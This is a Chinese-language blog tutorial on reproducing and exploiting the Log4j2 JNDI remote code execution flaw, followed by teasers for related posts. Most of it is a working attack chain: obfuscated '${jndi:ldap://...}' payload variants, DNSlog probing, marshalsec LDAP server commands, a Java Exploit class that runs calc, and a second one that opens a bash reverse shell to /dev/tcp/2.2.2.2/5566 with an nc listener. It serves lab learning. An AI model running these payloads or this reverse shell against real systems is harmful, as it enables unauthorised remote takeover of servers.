log4j2漏洞复现与利用(代码片段)

Coder_preston Coder_preston     2023-04-13     690

关键词:

文章目录

漏洞简介

Apache Log4j2是一个基于Java的日志记录工具。Apache Log4j 2.x <= 2.14.1版本存在远程代码执行漏洞。 漏洞的主要原因是log4j2的接收器对于不可靠来源的输入没有过滤,攻击者则可以利用此特性通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

log4j2 教程

  • 这里简要log4j2的使用方法以及代码示例

环境搭建

  1. 搭建log4j2环境的主要难点在于引入三方库,主要有maven库引用和jar包直接引用的方式。只要保证代码可以引用到对应的log4j2库即可。
    知识点
1. java函数编写
2. javac 编译, java执行
3. maven库的使用; jar包的引入

测试运行

  1. log4j2使用代码示例
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j 
    private static final Logger logger = LogManager.getLogger(log4j.class);
    public static void main(String[] args) 
        logger.error("hello world   asdf.");
        logger.error("$$lookupName:key:$lower:env");
        logger.error("$env:aaa:-444444");
        logger.error("$base64:SGVsbG8gV29ybGQhCg==");
        logger.error("$log4j:configParentLocation");
        logger.error("$$lower:$java:os");
        logger.error("$upper:DhhASD");
        logger.error("$java:os");
        logger.error("$$env:base:-j$lower:Ndi:l$lower:D$env:base:-ap://qqqq.rblpq9.ceye.io/Log4jRC");
    

输出结果:

21-12-12 12:51:23.003 [main] ERROR log4j - hello world   asdf.
21-12-12 12:51:23.011 [main] ERROR log4j - $lookupName:key:$lower:env
21-12-12 12:51:23.011 [main] ERROR log4j - 444444
21-12-12 12:51:23.011 [main] ERROR log4j - $base64:SGVsbG8gV29ybGQhCg==
21-12-12 12:51:23.011 [main] ERROR log4j - D:\\Work\\D\\Code\\maven-01\\target\\classes
21-12-12 12:51:23.015 [main] ERROR log4j - $lower:Windows 10 10.0, architecture: amd64-64
21-12-12 12:51:23.015 [main] ERROR log4j - $upper:DhhASD
21-12-12 12:51:23.015 [main] ERROR log4j - Windows 10 10.0, architecture: amd64-64
21-12-12 12:51:23.015 [main] ERROR log4j - $$env:base:-j$lower:Ndi:l$lower:D$env:base:-ap://qqqq.rblpq9.ceye.io/Log4jRC
  • 小结:
    此处试验了log4j的lookup的变量替换功能。例如$java:os可以打印操作系统相关信息。这也是log4j2 payload变种的主要依据。
    此处有个疑问: $lower:A 这样的语法,日志打印中没有进行替换。

专业名词解释及其payload分析

首先看一下典型的payload示例:

$jndi:ldap://12345.p7yc0x.ceye.io:1389/aaa

这是利用的jndi注入的方式
有几个专业名词,在这里解释一下:

  • payload:

病毒通常会做一些有害的或者恶性的动作。在病毒代码中实现这个功能的部分叫做“有效负载”(payload)。payload可以实现任何运行在受害者环境中的程序所能做的事情,并且能够执行动作包括破坏文件删除文件,向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。

  • jndi:

JNDI(Java Naming and Directory Interface),Java命名和目录接口,是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

参考资料:https://xz.aliyun.com/t/6633

  • ldap:

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。

  • DNSlog:

DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

DNSlog 在web漏洞中是常见的使用方法, 在某些无法直接利用漏洞获得回显的情况下, 但目标可以发起DNS请求, 这个时候就可以通过这种方式把想获得的数据外带出来。


分析payload:

$jndi:ldap://12345.p7yc0x.ceye.io:1389/aaa

jndi:ldap 是jndi注入

12345.p7yc0x.ceye.io 是一个域名, 其中p7yc0x.ceye.io是攻击者自己申请的免费三级域名, 12345是随便写的四级域名。域名申请网站有http://ceye.io/ (需要注册) 以及http://www.dnslog.cn/(无需注册)

:1389/aaa 端口信息以及路径

此外,可以收集到payload的变种如下

$$env:base:-j$lower:Ndi:l$lower:D$env:base:-ap://bbb.rblpq9.ceye.io/Log4jRC

主要还是使用了log4j2的lookup方式, 具体可以查询官方文档:https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

利用工具简介:

postman:
用于发送请求,请求中携带payload

marshalsec
这是一款java 反序列化利用工具,在本次实验中主要用来搭建LDAP服务器。
常用使用方式
开启RMI服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099

开启LDAP服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389

项目地址

https://github.com/mbechler/marshalsec

log4j2漏洞验证(弹出计算器版)

假设如下(具体以实际ip为主)
被攻击者者ip: 1.1.1.1
攻击者ip: 2.2.2.2

  弹出计算器是常用的远程代码执行漏洞的验证方式。若攻击者的利用代码可以弹出计算器,则说明该漏洞可被利用执行命令。

思路
log4j2打印出payload的内容,触发远程代码执行,可以执行一个提前准备好的java函数,该函数可执行开启计算器功能。

被攻击者的log4j2 打印函数示例

假设被攻击者可能会运行如下代码:

import org.apache.logging.log4j.*;

public class Log4jTest1 
    public static final Logger logger = LogManager.getLogger(Log4jTest1.class);
    public static void main(String[] args)
        System.out.println("开始执行漏洞利用");
        //若java为高版本,需要开启这个才能利用
       System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("asdfasfdasdfafafd");
        logger.error("$jndi:ldap://2.2.2.2:1389/adf");
        System.out.println("完成执行漏洞利用");
    



攻击者执行操作

攻击者的利用代码如下:

public class Exploit 
    static 
        try 
           System.out.println("攻击代码正在运行...");
           String [] cmd="calc";
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        catch (Exception e)
            e.printStackTrace();
        
    

攻击者还需要执行以下步骤

  • 编译攻击脚本,得到Exploit.class
javac Exploit.java
  • 在利用脚本所在路径下, 开启http服务器
python -m http.server 8888
  • 另外开一个窗口,开启ldap服务,默认端口为1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://2.2.2.2:8888/#Exploit"

解释:其中的#Exploit需要和编译出的class文件名对应,不包含.class后缀。
这样的话,被攻击者用log4j2打印出payload"$jndi:ldap://2.2.2.2:1389/adf",会自动执行Exploit.class


漏洞复现

  被攻击者执行log4j2打印payload的操作, 即可触发启动计算器 ~

被攻击者的日志输出:

.......
	at com.sun.jndi.ldap.Connection.createSocket(Connection.java:373)
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:213)
	... 42 more

21-12-12 14:50:11.969 [main] ERROR Log4jTest1 - $jndi:ldap://2.2.2.2:1389/adf
完成执行漏洞利用

log4j2漏洞验证(DNSlog版)

 DNSlog是黑客常用的探测log4j2漏洞是否存在的方式。

思路
输入是一个API接口, 调用API接口时携带payload(触发请求DNS), 然后根据DNSlog日志中是否收到请求,来判断是否存在log4j漏洞以及获取含有漏洞的IP。

DNSlog如何玩

  1. 在DNSlog 网站上申请一个免费的三级域名;
  2. 找一台机器ping 一下这个域名(可以加前缀变为4级域名)
  3. 在DNSlog网站上即可看到是哪个IP发送的请求

在vulfocus靶场验证log4j2漏洞

  • 假设待检测的目标为vulfocus.fofa.so:57872
  • 提前准备好的DNS域名为 rblpq9.ceye.io
  • 可以使用postman发送请求,主要信息如下:

POST /hello HTTP/1.1 Host: vulfocus.fofa.so:22755 Content-Type: application/x-www-form-urlencoded payload=$jndi:ldap://ce_shi_yi_xia.rblpq9.ceye.io/wu_suo_wei

postman的主要截图如下:

DNSlog 主要截图如下:

log4j2 靶场学习(反弹shell版)

  接下来将介绍,在靶场环境下,尝试利用该漏洞执行反弹shell直接拿到主机权限的演示。

靶场主要参考网络资源:
https://github.com/fengxuangit/log4j_vuln

执行命令:

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

靶场环境代码简要分析

从代码中可以看出, 当请求参数中有c时, 会用log4j2打印参数内容, 容易触发漏洞。


被攻击者ip:1.1.1.1
攻击者ip:2.2.2.2

被攻击者信息

POST 1.1.1.1:8080/webstudy/hello-fengxuan

请求参数中可带内容 c="payload"

攻击者的操作

  1. 编写反弹shell利用代码
public class Exploit 
    static 
        try 
           String[] cmd = "bash", "-i",">" ,"/dev/tcp/2.2.2.2/5566", "0>&1" ,"2>&1";
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        catch (Exception e)
            e.printStackTrace();
        
    


  1. javac 编译

  2. 在利用脚本所在路径下, 开启http服务器

python -m http.server 8888
  1. 另外开一个窗口,开启ldap服务,默认端口为1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://2.2.2.2:8888/#Exploit"

  1. 另外开一个窗口,开启监听
nc -lvp 5566
  1. postman发送恶意请求
    其中body体中
    c="$jndi:ldap://2.2.2.2:1389/adf"

  2. 攻击成功, 获取shell

攻击绕过相关参考

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

log4j2高危漏洞cnvd-2021-95914复现及分析(代码片段)

...f0c;国家信息安全漏洞共享平台(CNVD)收录了ApacheLog4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修... 查看详情

漏洞log4j2远程执行代码复现实操代码例子(代码片段)

如何复现log4j2远程执行代码漏洞漏洞原理漏洞复现漏洞范围漏洞原理1.攻击伪装一个请求体,里面含有JNDI可执行的服务,我这里主要是试了LDAP与RMI两种,请求URL如下:LADP:$jndi:ldap://127.0.0.1:1389/helloRMI:$jndi:rmi://127.0.0.1:1389/hello2.在应用程... 查看详情

apachelog4j2rce远程命令执行漏洞复现与分析(代码片段)

...f0c;国家信息安全漏洞共享平台(CNVD)收录了ApacheLog4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修... 查看详情

手把手复现了log4j2漏洞,太可怕了。。(代码片段)

...:blog.csdn.net/qq_40989258/article/details/1218623630x00简介ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。0x01漏洞概述该漏洞是由于ApacheLog4j2某些功能存在递归解析功能,未经身份验证的攻... 查看详情

ms05-017漏洞原理与复现(代码片段)

漏洞描述此漏洞由lds-pl.net漏洞研究组在2003年7月16日发现,漏洞及exp在网上公开后,网上出现了大量的×××实例,利用此漏洞的蠕虫也大量出现。漏洞编号CVE-2005-0059OSVDB-15458MSB-MS05-017BID-13112×××目标DCOM接口的服务器端影响系统Mic... 查看详情

log4j2漏洞复现(cve-2021-44228)(代码片段)

...务系统开发,用以记录程序输入输出日志信息。ApacheLog4j2存在远程代码执行漏洞,攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得... 查看详情

上传文件的漏洞复现与修复(代码片段)

本文只说一些我遇到过的上传文件的漏洞。毕竟漏洞太多,我又不可能全部发现。(安全方面的小菜鸟)可能你们的系统比较完善,针对这些漏洞,已有相应的防御手段。我们针对的是那种比较简单的系统ÿ... 查看详情

手把手教你复现log4j2漏洞,千万别中招!(代码片段)

...:blog.csdn.net/qq_40989258/article/details/1218623630x00简介ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。0x01漏洞概述该漏洞是由于ApacheLog4j2某些功能存在递归解析功能,未经身份验证的攻... 查看详情

每天复现一个漏洞--vulhub(代码片段)

ApacheSSI远程命令执行漏洞(2019.11.27)原理:当目标服务器开启了SSI与CGI支持,我们就可以上传shtml文件,利用<!--#execcmd="id"-->语法执行命令。什么是ssi简单的来说ssi可以对静态的html网页进行动态的改动,我们通过在静态的htm... 查看详情

log4j2漏洞复现以及解决方案(代码片段)

一、背景其实早就听闻log4j2的这个史诗级漏洞,当时也看了一遍视频,但自己一直都没有实践,这不摸鱼的时候突然发现,自己偶然创建的demo依赖中log4j2日志版本号好像挺老,突然就心血来潮想要复现一下当年的... 查看详情

ms12-020漏洞复现及自动化批量利用(代码片段)

漏洞描述Windows远程桌面协议漏洞,可执行代码,POC可导致蓝屏。(RDP远程桌面执行代码漏洞)影响目标WindowsXPsp3Windowsxpsp2WindowsVistasp2Windows7WindowsServer2003WindowsServer2008WindowsServer2008R2msfpayload利用msfconsoleuseauxiliary/dos/windows 查看详情

利用codesec代码审核平台深度扫描log4j2漏洞(代码片段)

Log4j2安全漏洞(编号CVE-2021-44228)事件已经过去一个多月了,但它造成的危害影响却非常严重,各大软件安全厂商在第一时间针对此漏洞紧急做了补丁。虽然漏洞最早是由阿里发现的,但实际上它是一个0day漏... 查看详情

redis未授权漏洞介绍和复现(代码片段)

文章目录漏洞名称影响版本redis漏洞危害Redis基本语法Redis配置Redis命令SET命令Get命令Flushall命令Redis数据备份与恢复Redis安全实验环境及准备漏洞检测漏洞复现方法一绝对路径写webshell方法二:公私钥认证获取root权限方法三利... 查看详情

redis未授权漏洞介绍和复现(代码片段)

文章目录漏洞名称影响版本redis漏洞危害Redis基本语法Redis配置Redis命令SET命令Get命令Flushall命令Redis数据备份与恢复Redis安全实验环境及准备漏洞检测漏洞复现方法一绝对路径写webshell方法二:公私钥认证获取root权限方法三利... 查看详情

windowsxpsp2(ms08-067漏洞复现及利用)(代码片段)

MS08-067漏洞:是一种远程过程调用(RPC)服务中的一个漏洞。通过SMB通道调用Server服务程序中的NetPathCanonicalize函数时,进行漏洞触发,造成可被利用实施远程代码执行。MS08-067漏洞原理及详尽分析过程,如飞客蠕虫Con... 查看详情

安全漏洞之log4j2漏洞复现绕过分析(代码片段)

0x00介绍Log4j2是Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告分配CVE编号:CVE-2021-44228CVSS评分:10.0(最高只能10分)POC比较简单publicstaticvoidmain(String[]args)throwsExceptionlogger.... 查看详情

log4j2注入漏洞(cve-2021-44228)万字深度剖析—复现步骤(攻击方法)

系列文章Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)Log4j2注入漏洞(CVE-2021-44228)万字深度剖... 查看详情

ms17010(永恒之蓝)漏洞复现(代码片段)

MS17010(永恒之蓝)漏洞利用与复现首先需要准备win7的环境做为靶机获取信息利用nmap扫描得到,靶机IPnmap-sP192.168.229.0/24得到:IP:192.168.229.169然后利用:nmap--script=vuln192.168.229.169得到靶机信息:发现可能利用的漏洞&... 查看详情